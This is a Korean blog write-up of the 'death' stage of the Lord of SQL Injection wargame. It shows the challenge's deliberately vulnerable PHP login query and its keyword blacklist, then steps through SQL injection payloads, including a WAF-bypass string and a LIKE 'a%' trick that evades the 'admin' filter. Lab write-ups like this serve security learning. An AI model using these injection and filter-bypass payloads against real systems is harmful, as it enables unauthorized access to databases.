[LOS] death

Yennytime·2023년 1월 18일
0

Lord of SQL Injection

목록 보기
14/20

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

🔺 코드분석

1.

if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 

🔹 $_GET[id], $_GET[pw] 파라미터 필터링

prob, _, ., (), admin, /i (대소문자를 구분하지 않음)


pw가 md5이다.


🔺 풀이 과정

  1. id=' or '1' = '1 --

접근이 막혔다.

  1. id=' or '1' = '1 %23

  1. id='#

흠.. 그럼 and, or 둘 다 막혔다는 건데..

  1. id=-1'<@=1 OR {a 1}=1 OR '

웹 방화벽 bypass를 사용했더니 출력되었다. 근데, guest가 출력되어서 admin으로 출력해야한다.

  1. id=-1'<@=1 OR {a 1}=1 and id like 'admin

아차차..admin이 필터링되는 것을 까먹었다.

  1. id=-1'<@=1 OR {a 1}=1 and id like 'a%'%23

  • 'a%' = a로 시작하는 문자
profile
It's Yennytime💙

0개의 댓글